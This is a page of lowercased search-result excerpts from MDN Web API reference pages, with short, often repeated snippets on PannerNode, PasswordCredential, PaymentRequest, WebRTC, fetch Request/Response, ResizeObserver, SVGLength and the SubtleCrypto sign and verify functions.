...io source's position, in 3d cartesian coordinates. example the following example starts an oscillator and moves it in front of the listener after 1 second, behind the listener after 2 seconds, and back to the listener's position after 3 seconds. note that in this case, the change will mainly affect the timbre and perceived volume of the sound. ...
...nates. example the following example starts an oscillator and moves it in front of the listener after 1 second, behind the listener after 2 seconds, and back to the listener's position after 3 seconds. note that in this case, the change will mainly affect the timbre and perceived volume of the sound. ...
PannerNode.setOrientation() - Web APIs
utes pannernode.coneinnerangle, pannernode.coneouterangle, and pannernode.coneoutergain. in such a case, a sound pointing away from the listener can be very quiet or even silent. the three parameters x, y and z are unitless and describe a direction vector in 3d space using the right-hand cartesian coordinate system. the default value of the direction vector is (1, 0, 0). syntax var audioctx =
new audiocontext(); var panner = audioctx.createpanner(); panner.setorientation(1,0,0); returns void. example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation. generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
PannerNode.setPosition() - Web APIs
erface defines the position of the audio source relative to the listener (represented by an audiolistener object stored in the audiocontext.listener attribute.) the three parameters x, y and z are unitless and describe the source's position in 3d space using the right-hand cartesian coordinate system. the setposition() method's default value of the position is (0, 0, 0). syntax var audioctx =
new audiocontext(); var panner = audioctx.createpanner(); panner.setposition(0,0,0); returns void. example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation. generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update th...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
PannerNode.setVelocity() - Web APIs
s design and implementation problems. the velocity relative to the listener is used to control the pitch change needed to conform with the doppler effect due to the relative speed. as the vector controls both the direction of travel and its velocity, the three parameters x, y and z are expressed in meters per second. the default value of the velocity vector is (0, 0, 0). syntax var audioctx =
new audiocontext(); var panner = audioctx.createpanner(); panner.setvelocity(0,0,17); returns void. example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation. generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update t...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
PannerNode - Web APIs
properties inherits properties from its parent, audionode. the orientation and position value are set and retrieved using different syntaxes, since they're stored as audioparam values. retrieval is done by accessing, for example, pannernode.positionx. while setting the same property is done with pannernode.positionx.value. this is why these values are not marked r...
...d then update the position of one or both of these as the application is used. you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo. in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set
new values for the panner position via the positionpanner() function. to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! note how we have used some feature detection to either give the browser the n...
... 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes! ...
...ke audiolistener.setorientation()) if it still supports those but not the
new properties. ...
PasswordCredential - Web APIs
id: the id of the user signing in. name: (optional) the name of the user signing in. password: the password of the user signing in. htmlformelement a reference to an htmlformelement with appropriate input fields. ...
... id: the id of the user signing in. name: (optional) the name of the user signing in. password: the password of the user signing in. htmlformelement a reference to an htmlformelement with appropriate input fields. ...
... id: the id of the user signing in. name: (optional) the name of the user signing in. password: the password of the user signing in. htmlformelement a reference to an htmlformelement with appropriate input fields. ...
...navigator.credentials.store(creds) .then(function(creds) { // do something with the credentials if you need to. }); specifications specification status comment credential management level 1 working draft initial definition. ...
PasswordCredential - Web APIs
the interface of the credential management api provides information about a username/password pair. in supporting browsers an instance of this class may be passed in the credential member of the init object for global fetch. note: this interface is restricted to top-level contexts and cannot be used from an <iframe>. constructor passwordcredential()secure context creates a
new passwordcredential object. properties inherits properties from its ancestor, credential. passwordcredential.additionaldata secure context one of a formdata instance, a urlsearchparams instance, or null. the data in the objects will be added to the request body and sent to the remote endpoint with the credentials. passwordcredential.iconurl read only secure context a usvstring containing a url point...
...aining the password of the credential. passwordcredential.passwordname secure context a usvstring representing the name that will be used for the password field when submitting the current object to a remote endpoint via fetch. this property defaults to 'password', but may be overridden to match whatever the backend service expects. event handlers none. methods none. examples var cred =
new passwordcredential({ id: id, password: password, name: name, iconurl: iconurl }); navigator.credentials.store(cred) .then(function() { // do something else. }); specifications specification status comment credential management level 1 working draft initial definition. browser compatibility the compatibility table on this page is generated from ...
... ...
... ...
PaymentRequest.shippingOption - Web APIs
shippingoption var shippingoption = request.shippingoption; example in the example below, the paymentrequest.onshippingoptionchange and the paymentrequest.onshippingaoptionchange events are dispatched. in each calls to updatedetails() are made, one using a promise, and the other with a plain js object. this demotrates synchrounous and asynchronous updates to a payment sheet. ...
...unous and asynchronous updates to a payment sheet. ...
...we can...
...we can't ship to your address.` }; } } specifications specif...
PaymentRequest.show() - Web APIs
e most common patterns for using show() involve either the async/await syntax or the use of show().then().catch() to handle the response and any possible rejection. ...
...uld usually only be done after the user has made any needed corrections to the order. starting the payment process, in the end, is as simple as calling the processpayment() method. ...
...tresponse object to format and send payment data to the server. you should send the payment information to the server asynchronously so that the final call to paymentresponse.complete() can indicate the success or failure of the payment. button.onclick = async function handlepurchase() { // initialization of paymentrequest arguments are excerpted for the sake of // brevity. const payment =
new paymentrequest(methods, details, options); try { const response = await payment.show(); // process response here, including sending payment instrument // (e.g., credit card) information to the server. // paymentresponse.methodname contains the selected payment method // paymentresponse.details contains a payment method specific response await response.complete("success")...
...catch (err) { console.error("uh oh, something bad happened", err.message); } } the following example shows how to update the payment sheet as it's being presented to the end-user. async function requestpayment() { // we start with au$0 as the total. const initialdetails = { total: { label: "total", amount: { value: "0", currency: "aud" }, }, }; const request =
new paymentrequest(methods, initialdetails, options); // check if the the user supports the `methods` if (!await request.canmakepayment()) { return; // no, so use a web form instead. } // let's update the total as the sheet is shown const updateddetails = { total: { label: "total", amount: { value: "20", currency: "aud" }, }, }; const response = await request.sho...
PaymentResponse.retry() - Web APIs
ction that checks the paymentresponse for errors or other reasons to retry the payment request. if a retry is needed, the loop calls retry(), then loops back to check the response when it comes in. the loop exits only when the user either cancels the payment request or the request is successful. see the example below for a thorough example, but the basic concept, in outline form, is: create a
new paymentrequest (
new paymentrequest()) display the payment request (paymentrequest.show() if show() resolves, the returned paymentresponse describes the requested payment and the options chosen by the user. continue by... validate the returned reponse; if there are any fields whose values are not acceptable, call the response's complete() method with a value of "fail" to indicate failure. ...
...es it. if show() is rejected, the payment request failed, usually because either there's already one being processed, because the user agent doesn't support any of the specified payment methods, or because of a security issue. see the list of exceptions for show() for further details. call complete("fail") to close the payment request. ...
...ile (payresponse has errors) { /* let the user edit the payment information, wait until they submit */ await response.retry(); } await payresponse.complete("success"); } catch(err) { /* handle the exception */ } } examples try { await paymentrequest.retry(errorfields); } catch (domexception err) { ... ...
... requestorresponse.addeventlistener(event, async function listener(ev) { const promisetovalidate = validator(requestorresponse); ev.updatewith(promisetovalidate); const errors = await promisetovalidate; if (!errors) { // yay! fixed! event.removeeventlistener(event, listener); ...
PeriodicWave - Web APIs
the periodicwave interface defines a periodic waveform that can be used to shape the output of an oscillatornode. periodicwave has no inputs or outputs; it is used to define custom oscillators when calling oscillatornode.setperiodicwave(). the periodicwave itself is created/returned by audiocontext.createperiodicwave(). constructor periodicwave.periodicwave() creates a
new periodicwave object instance using the default values for all properties. if you wish to establish custom property values at the outset, use the audiocontext.createperiodicwave() factory method instead. properties none; also, periodicwave doesn't inherit any properties. methods none; also, periodicwave doesn't inherit any methods. example the following example illustrates simple usage of createperiodicwave()...
...ish custom property values at the outset, use the audiocontext.createperiodicwave() factory method instead. properties none; also, periodicwave doesn't inherit any properties. methods none; also, periodicwave doesn't inherit any methods. example the following example illustrates simple usage of createperiodicwave(), to create a periodicwave object containing a simple sine wave. ...
...e outset, use the audiocontext.createperiodicwave() factory method instead. properties none; also, periodicwave doesn't inherit any properties. methods none; also, periodicwave doesn't inherit any methods. example the following example illustrates simple usage of createperiodicwave(), to create a periodicwave object containing a simple sine wave. ...
....createperiodicwave() factory method instead. properties none; also, periodicwave doesn't inherit any properties. methods none; also, periodicwave doesn't inherit any methods. example the following example illustrates simple usage of createperiodicwave(), to create a periodicwave object containing a simple sine wave. ...
PublicKeyCredentialRequestOptions.allowCredentials - Web APIs
allowcredentials is an optional property of the publickeycredentialrequestoptions dictionary which indicates the existing credentials acceptable for retrieval. this is an array of credential descriptors. note: publickeycredentialcreationoptions.excludecredentials may be used during the creation of the credentials in order to avoid creating
new credentials for an existing user with existing public key credential. contrary to allowcredentials, it is used to filter out credentials. syntax allowcredentials = publickeycredentialrequestoptions.allowcredentials value an array whose elements are objects with the following properties: type a string describing type of public-key credential to be created. as of this writing (march 2019), only "public-key" may be used. id a buffersource m...
...ator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed). if the authenticator does not contain any of these public key credentials, the client will throw a domexception "notallowederror". ...
...removed). if the authenticator does not contain any of these public key credentials, the client will throw a domexception "notallowederror". ...
...credentials, the client will throw a domexception "notallowederror". ...
RTCDtlsTransport.state - Web APIs
the state read-only property of the rtcdtlstransport interface provides information which describes a datagram transport layer security (dtls) transport state. syntax let mystate = dtlstransport.state; value a string whose value is taken from the rtcdtlstransportstate enumerated type. its value is one of the following:
new the initial state when dtls has not started negotiating yet. connecting dtls is in the process of negotiating a secure connection and verifying the remote fingerprint. connected dtls has completed negotiation of a secure connection and verified the remote fingerprint. closed the transport has been closed intentionally as the result of receipt of a close_notify alert, or calling rtcpeerconnection.close(). failed the transport has failed as the result of an e...
...sult of an error (such as receipt of an error alert or failure to validate the remote fingerprint). examples this example presents a function, tallysenders(), which iterates over an rtcpeerconnection's rtcrtpsenders, tallying up how many of them are in various states. the function returns an object containing properties whose values indicate how many of the senders are in each state. let pc =
new rtcpeerconnection({ bundlepolicy: "max-bundle" }); /* ... */ function tallysenders(pc) { let results = { transportmissing: 0, connectionpending: 0, connected: 0, closed: 0, failed: 0, unknown: 0 }; let senderlist = pc.getsenders(); senderlist.foreach(sender => { let transport = sender.transport; if (!transport) { results.transportmissing++; } ...
.../* ... ...
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtlstransport.state' in that specification. candidate recommendation initial definition. ...
RTCDtlsTransport - Web APIs
onfiguration property bundlepolicy may be provided when creating the connection. the bundlepolicy lets you control how to negotiate with these legacy endpoints. the default policy is "balanced", which provides a balance between performance and compatibility. for example, to create the connection using the highest level of bundling: const rtcconfig = { bundlepolicy: "max-bundle" }; const pc =
new rtcpeerconnection(rtcconfig); bundling lets you use one rtcdtlstransport to carry the data for multiple higher-level transports, such as multiple rtcrtptransceivers. when not using bundle when the connection is created without using bundle, each rtp or rtcp component of each rtcrtptransceiver has its own rtcdtlstransport; that is, every rtcrtpsender and rtcrtpreceiver, has its own transport, ...
...e data channels' sctp communications by looking at the rtcsctptransport object's transport property. examples this example presents a function, tallysenders(), which iterates over an rtcpeerconnection's rtcrtpsenders, tallying up how many of them are in various states. the function returns an object containing properties whose values indicate how many of the senders are in each state. let pc =
new rtcpeerconnection({ bundlepolicy: "max-bundle" }); /* ... */ function tallysenders(pc) { let results = { transportmissing: 0, connectionpending: 0, connected: 0, closed: 0, failed: 0, unknown: 0 }; let senderlist = pc.getsenders(); senderlist.foreach(sender => { let transport = sender.transport; if (!transport) { results.transportmissing++; } ...
.../* ... ...
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtlstransport' in that specification. candidate recommendation initial definition. ...
RTCIceCandidate.candidate - Web APIs
the read-only property candidate on the rtcicecandidate interface returns a domstring describing the candidate in detail. most of the other properties of rtcicecandidate are actually extracted from this string. this property can be configured by specifying the value of the candidate property when constructing the
new candidate object using rtcicecandidate(). syntax var candidate = rtcicecandidate.candidate; value a domstring describing the properties of the candidate, taken directly from the sdp attribute "candidate". the candidate string specifies the network connectivity information for the candidate. if the candidate is an empty string (""), the end of the candidate list has been reached; this candidate is known as the "end-of-candidates" marker. the syntax of the candidate string i...
...e candidate is: foundation = 4234997325 component = "rtp" (the number 1 is encoded to this string; 2 becomes "rtcp") protocol = "udp" priority = 2043278322 ip = "192.168.0.56" port = 44323 type = "host" example in this example, we see a function which receives as input an sdp string containing an ice candidate received from the remote peer during the signaling process. function handle
newicecandidate(candidatesdp) { var candidateobj =
new rtcicecandidate(candidatesdp); mypeerconnection.addicecandidate(candidateobj).catch({ /* handle the error thrown by addicecandidate() */ }); } the handle
newicecandidate() function shown here passes the received candidate's sdp text into rtcicecandidate() to receive an rtcicecanddiate object in return, which represents the candidate. ...
...andidate(candidatesdp) { var candidateobj =
new rtcicecandidate(candidatesdp); mypeerconnection.addicecandidate(candidateobj).catch({ /* handle the error thrown by addicecandidate() */ }); } the handle
newicecandidate() function shown here passes the received candidate's sdp text into rtcicecandidate() to receive an rtcicecanddiate object in return, which represents the candidate. the
new candidate is then passed into rtcpeerconnection.addicecandidate() to add the candidate to the list of candidates for webrtc to consider using for the connection being established. ...
...turn, which represents the candidate. the
new candidate is then passed into rtcpeerconnection.addicecandidate() to add the candidate to the list of candidates for webrtc to consider using for the connection being established. this example could be simplified somewhat; you may more often see the code look something like this, taking advantage of more advanced ecmascript 2016 features: let handle
newicecandidate = candidatesdp => mypeerconnection.addicecandidate(
new rtcicecandidate(candidatesdp)); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.candidate' in that specification. candidate recommendation initial definition. ...
RTCPeerConnection.setConfiguration() - Web APIs
eerconnection was instantiated without specifying any ice servers. if, for example, the rtcpeerconnection() constructor was called with no parameters, you would have to then call setconfiguration() to add ice servers before ice negotiation could begin. renegotiation of the connection is needed, and a different set of ice servers needs to be used for some reason. perhaps the user has moved into a
new region, so using
new regional ice servers is necessary, for example. in this situation, one might call setconfiguration() to switch to
new regional ice servers, then initiate an ice restart. you cannot change the identity information for a connection once it's already been set. syntax rtcpeerconnection.setconfiguration(configuration); parameters configuration an rtcconfiguration object...
... exceptions invalidaccesserror one or more of the urls specified in configuration.iceservers is a turn server, but complete login information is not provided (that is, either the rtciceserver.username or rtciceserver.credentials is missing). this prevents successful login to the server. ...
...this is then passed into setconfiguration(). ice negotiation is restarted by calling createoffer(), specifying true as the value of the icerestart option. from there, we handle the process as usual, by setting the local description to the returned offer and then sending that offer to the other peer. sp...
...ssword" }] }; mypeerconnection.setconfiguration(restartconfig); mypeerconnection.createoffer({"icerestart": true}).then(function(offer) { return mypeerconnection.setlocaldescription(offer); }) .then(function() { // send the offer to the other peer using the signaling server }) .catch(reporterror); first, a
new rtcconfiguration is created, restartconfig, specifying the
new ice server and its credentials. this is then passed into setconfiguration(). ice negotiation is restarted by calling createoffer(), specifying true as the value of the icerestart option. from there, we handle the process as usual, by setting the local description to the returned offer and then sending that offer to the other peer. specifications specification status comment ...
RTCTrackEvent - Web APIs
the webrtc api interface rtctrackevent represents the track event, which is sent when a
new mediastreamtrack is added to an rtcrtpreceiver which is part of the rtcpeerconnection. the target is the rtcpeerconnection object to which the track is being added. this event is sent by the webrtc layer to the web site or application, so you will not typically need to instantiate an rtctrackevent yourself. constructor rtctrackevent() creates and returns a
new rtctrackevent object, initialized with properties taken from the specified rtctrackeventinit dictionary. you will probably not need to create
new track events yourself, since they're typically created by the webrtc infrastructure and sent to the connection's ontrack event handler. properties since rtctrackevent is based on event, its pr...
...e track that's been added to the rtcpeerconnection. streams read only optional an array of mediastream objects, each representing one of the media streams to which the added track belongs. by default, the array is empty, indicating a streamless track. track read only the mediastreamtrack which has been added to the connection. transceiver read only the rtcrtptransceiver being used by the
new track. track event types there is only one type of track event. track the track event is sent to the rtcpeerconnection when a
new track has been added to the connection. by the time the track event is delivered to the rtcpeerconnection's ontrack handler, the
new media has completed its negotiation for a specific rtcrtpreceiver (which is specified by the event's receiver property). in additi...
...s ontrack handler, the
new media has completed its negotiation for a specific rtcrtpreceiver (which is specified by the event's receiver property). in addition, the mediastreamtrack specified by the receiver's track is the same one specified by the event's track, and the track has been added to any associated remote mediastream objects. you can add a track event listener to be notified when the
new track is available so that you can, for example, attach its media to a <video> element, using either rtcpeerconnection.addeventlistener() or the ontrack event handler property. ...
..., and the track has been added to any associated remote mediastream objects. you can add a track event listener to be notified when the
new track is available so that you can, for example, attach its media to a <video> element, using either rtcpeerconnection.addeventlistener() or the ontrack event handler property. note: it may be helpful to keep in mind that you receive the track event when a
new inbound track has been added to your connection, and you call addtrack() to add a track to the far end of the connection, thereby triggering a track event on the remote peer. example this simple example creates an event listener for the track event which sets the srcobject of the <video> element with the id videobox to the first stream in the list passed in the event's streams array. peerconn...
Request.cache - Web APIs
(function(response) { /* consume the response */ }); // naive stale-while-revalidate client-level implementation. // prefer a cached albeit stale response; but update if it's too old. // abortcontroller and signal to allow better memory cleaning. ...
...ntroller =
new abortcontroller(); fetch("some.json", {cache: "only-if-cached", mode: "same-origin", signal: controller.signal}) .catch(e => e instanceof typeerror && e.message === "failed to fetch" ? ({status: 504}) : // workaround for chrome; which simply fails with a typeerror promise.reject(e)) .then(res => { if (res.status === 504) { controller.abort() controller =
new abortcontroller(); return fetch("some.json", {cache: "force-cache", mode: "same-origin", signal: controller.signal}) } const date = res.headers.get("date"), dt = date ? ...
...ed to fetch" ? ({status: 504}) : // workaround for chrome; which simply fails with a typeerror promise.reject(e)) .then(res => { if (res.status === 504) { controller.abort() controller =
new abortcontroller(); return fetch("some.json", {cache: "force-cache", mode: "same-origin", signal: controller.signal}) } const date = res.headers.get("date"), dt = date ? ...
... (res.status === 504) { controller.abort() controller =
new abortcontroller(); return fetch("some.json", {cache: "force-cache", mode: "same-origin", signal: controller.signal}) } const date = res.headers.get("date"), dt = date ?
new date(date).gettime() : 0 if (dt < (date.now() - 86400000)) { // if older than 24 hours controller.abort() controller =
new abortcontroller(); return fetch("some.json", {cache: "reload", mode: "same-origin", signal: controller.signal}) } // other possible conditions if (dt < (date.now() - 300000)) // if it's older than 5 minutes fetch("some.json", {cache: "no-cache", mode: "same-origin"}) // no cancellation or return value. return res }) .then(function(response) { /* consume the (possi...
Request.headers - Web APIs
the headers read-only property of the request interface contains the headers object associated with the request. syntax var myheaders = request.headers; value a headers object. ...
...the headers read-only property of the request interface contains the headers object associated with the request. syntax var myheaders = request.headers; value a headers object. ...
...value a headers object. ...
...st.request() constructor (for an image file in the same directory as the script), then save the request headers in a variable: var myrequest =
new request('flowers.jpg'); var myheaders = myrequest.headers; // headers {} to add a header to the headers object we use headers.append; we then create a
new request along with a 2nd init parameter, passing headers in as an init option: var myheaders =
new headers(); myheaders.append('content-type', 'image/jpeg'); var myinit = { method: 'get', headers: myheaders, mode: 'cors', cache: 'default' }; var myrequest =
new request('flowers.jpg', myinit); mycontenttype = myrequest.headers.get('content-type'); // returns 'image/jpeg' specifications specification status comment fetchthe definition of 'headers' in that spe...
ResizeObserver() - Web APIs
observer a reference to the resizeobserver itself, so it will definitely be accessible from inside the callback, should you need it. ...
... observer a reference to the resizeobserver itself, so it will definitely be accessible from inside the callback, should you need it. ...
... observer a reference to the resizeobserver itself, so it will definitely be accessible from inside the callback, should you need it. ...
...ached, but you can omit it if you don't need it. ...
Resize Observer API - Web APIs
or updating layouts at specific points when the viewport changes sizes, but what if you want to change layout in response to a specific element's size changing, which isn't the outer container? to achieve this, a limited solution would be to listen to changes to a suitable event that hints at the element you are interested in changing size (e.g. the window resize event), then figure out what the
new dimensions or other features of the element after a resize using element.getboundingclientrect or window.getcomputedstyle, for example. such a solution tends to only work for limited use cases, be bad for performance (continually calling the above methods would result in a big performance hit), and often won't work when the browser window size is not changed. the resize observer api provides a ...
...kinds of problems, and more besides, allowing you to easily observe and respond to changes in the size of an element’s content or border box in a performant way. it provides a javascript solution to the often-discussed lack of element queries in the web platform. usage is simple, and pretty much the same as other observers, such as performance observer or intersection observer — you create a
new resizeobserver object using the resizeobserver() constructor, then use resizeobserver.observe() to make it look for changes to a specific element's size. a callback function set up inside the constructor then runs every time the size changes, providing access to the
new dimensions and allowing you to do anything you like in response to those changes. interfaces resizeobserver provides the ab...
...ject using the resizeobserver() constructor, then use resizeobserver.observe() to make it look for changes to a specific element's size. a callback function set up inside the constructor then runs every time the size changes, providing access to the
new dimensions and allowing you to do anything you like in response to those changes. interfaces resizeobserver provides the ability to register
new observers and to start and stop observing elements. resizeobserverentry describes a single element which has been resized, identifying the element and its
new size. examples you find a couple of simple examples on our github repo: resize-observer-border-radius.html (see source): a simple example with a green box, sized as a percentage of the viewport size. when the viewport size is change...
... we use the resize observer to change the font-size of a header and paragraph as a slider’s value is changed causing the containing <div> to change width. this shows that you can respond to changes in an element’s size, even if they have nothing to do with the viewport. ...
Response - Web APIs
properties response.headers read only the headers object associated with the response. response.ok read only a boolean indicating whether the response was successful (status in the range 200–299) or not. ...
... properties response.headers read only the headers object associated with the response. response.ok read only a boolean indicating whether the response was successful (status in the range 200–299) or not. ...
...interface properties response implements body, so it also has the following properties available to it: body.body read only a simple getter exposing a readablestream of the body contents. body.bodyused read only stores a boolean that declares whether the body has been used in a response yet. methods response.clone() creates a clone of a response object. response.error() returns a
new response object associated with a network error. response.redirect() creates a
new response with a different url. body interface methods response implements body, so it also has the following methods available to it: body.arraybuffer() takes a response stream and reads it to completion. it returns a promise that resolves with an arraybuffer. body.blob() takes a response stream and read...
...plements body) to give the response its correct mime type. const image = document.queryselector('.my-image'); fetch('flowers.jpg').then(function(response) { return response.blob(); }).then(function(blob) { const objecturl = url.createobjecturl(blob); image.src = objecturl; }); you can also use the response.response() constructor to create your own custom response object: const response =
new response(); specifications specification status comment fetchthe definition of 'response' in that specification. living standard initial definition ...
SVGLength - Web APIs
svg length interface the svglength interface correspond to the <length> basic data type. an svglength object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. ...
...javascript"><![cdata[ function start() { var rect = document.getelementbyid("myrect"); var val = rect.x.baseval; // read x in pixel and cm units console.log("value: " + val.value + ", valueinspecifiedunits: " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring: " + val.valueasstring); // set x = 20pt and read it out in pixel and pt units val.
newvaluespecifiedunits(svglength.svg_lengthtype_pt, 20); console.log("value: " + val.value + ", valueinspecifiedunits " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring: " + val.valueasstring); // convert x = 20pt to inches and read out in pixel and inch units val.converttospecifiedunits(svglength.svg_lengthtype_in); console.log("value: " + val.va...
...lueinspecifiedunits: 6: 1, valueasstring: 1cm value: 26.66666603088379, valueinspecifiedunits 9: 20, valueasstring: 20pt value: 26.66666603088379, valueinspecifiedunits 8: 0.277777761220932, valueasstring: 0.277778in constants name value description svg_lengthtype_unknown 0 the unit type is not one of predefined unit types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_lengthtype_number 1 no unit type was provided (i.e., a unitless value was specified), which indicates a value in user units. svg_lengthtype_percentage 2 a percentage value was specified. svg_lengthtype_ems 3 a value was specified using the em units defined in css2. ...
...ng. exceptions on setting: a domexception with code syntax_err is raised if the assigned string cannot be parsed as a valid <length>. a domexception with code no_modification_allowed_err is raised when the length corresponds to a read only attribute or when the object itself is read only. methods name & arguments return description
newvaluespecifiedunits(in unsigned short unittype, in float valueinspecifiedunits) void reset the value as a number with an associated unittype, thereby replacing the values for all of the attributes on the object. exceptions: a domexception with code not_supported_err is raised if unittype is svg_lengthtype_unknown or not a valid unit type constant (one of the other svg_le...
SubtleCrypto.deriveBits() - Web APIs
each generate an ecdh key pair. we then use alice's private key and bob's public key to derive a shared secret. see the complete code on github. ...
...keypair.publickey); }); }); pbkdf2 in this example we ask the user for a password, then use it to derive some bits using pbkdf2. see the complete code on github. let salt; /* get some key material to use as input to the derivebits method. the key material is a password supplied by the user. ...
...ndow.prompt("enter your password"); const enc =
new textencoder(); return window.crypto.subtle.importkey( "raw", enc.encode(password), {name: "pbkdf2"}, false, ["derivebits", "derivekey"] ); } /* derive some bits from a password supplied by the user. ...
...ts from a password supplied by the user. ...
SubtleCrypto.sign() - Web APIs
s code fetches the contents of a text box, encodes it for signing, and signs it with a private key. see the complete source code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for the sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".rsassa-pkcs1 #message"); let message = messagebox.value; let enc =
new textencoder(); return enc.encode(message); } let encoded = getmessageencoding(); let signature = await window.crypto.subtle.sign( "rsassa-pkcs1-v1_5", privatekey, encoded ); rsa-pss this code fetches the contents of a text box, encodes it for signing, and signs it with a private key. see the complete source code on github. /* fetch the contents of the "message" textbox, and encode it...
... this code fetches the contents of a text box, encodes it for signing, and signs it with a private key. see the complete source code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for the sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".rsa-pss #message"); let message = messagebox.value; let enc =
new textencoder(); return enc.encode(message); } let encoded = getmessageencoding(); let signature = await window.crypto.subtle.sign( { name: "rsa-pss", saltlength: 32, }, privatekey, encoded ); ecdsa this code fetches the contents of a text box, encodes it for signing, and signs it with a private key. see the complete source code on github. /* fetch the contents of the "messag...
...sa this code fetches the contents of a text box, encodes it for signing, and signs it with a private key. see the complete source code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for the sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".ecdsa #message"); let message = messagebox.value; let enc =
new textencoder(); return enc.encode(message); } let encoded = getmessageencoding(); let signature = await window.crypto.subtle.sign( { name: "ecdsa", hash: {name: "sha-384"}, }, privatekey, encoded ); hmac this code fetches the contents of a text box, encodes it for signing, and signs it with a secret key. see the complete source code on github. /* fetch the contents of the "m...
...hmac this code fetches the contents of a text box, encodes it for signing, and signs it with a secret key. see the complete source code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for the sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".hmac #message"); let message = messagebox.value; let enc =
new textencoder(); return enc.encode(message); } let encoded = getmessageencoding(); let signature = await window.crypto.subtle.sign( "hmac", key, encoded ); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.sign()' in that specification. recommendation initial definition. ...
SubtleCrypto.verify() - Web APIs
ry the working examples out on github. rsassa-pkcs1-v1_5 this code uses a public key to verify a signature. see the complete code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".rsassa-pkcs1 #message"); let message = messagebox.value; let enc =
new textencoder(); return enc.encode(message); } /* fetch the encoded message-to-sign and verify it against the stored signature. * if it checks out, set the "valid" class on the signature. * otherwise set the "invalid" class. */ async function verifymessage(publickey) { const signaturevalue = document.queryselector(".rsassa-pkcs1 .signature-value"); signaturevalue.classlist.remove("valid", "i...
...revalue.classlist.add(result ? "valid" : "invalid"); } rsa-pss this code uses a public key to verify a signature. see the complete code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".rsa-pss #message"); let message = messagebox.value; let enc =
new textencoder(); return enc.encode(message); } /* fetch the encoded message-to-sign and verify it against the stored signature. * if it checks out, set the "valid" class on the signature. * otherwise set the "invalid" class. */ async function verifymessage(publickey) { const signaturevalue = document.queryselector(".rsa-pss .signature-value"); signaturevalue.classlist.remove("valid", "invali...
...naturevalue.classlist.add(result ? "valid" : "invalid"); } ecdsa this code uses a public key to verify a signature. see the complete code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".ecdsa #message"); let message = messagebox.value; let enc =
new textencoder(); return enc.encode(message); } /* fetch the encoded message-to-sign and verify it against the stored signature. * if it checks out, set the "valid" class on the signature. * otherwise set the "invalid" class. */ async function verifymessage(publickey) { const signaturevalue = document.queryselector(".ecdsa .signature-value"); signaturevalue.classlist.remove("valid", "invalid"...
...aturevalue.classlist.add(result ? "valid" : "invalid"); } hmac this code uses a secret key to verify a signature. see the complete code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".hmac #message"); let message = messagebox.value; let enc =
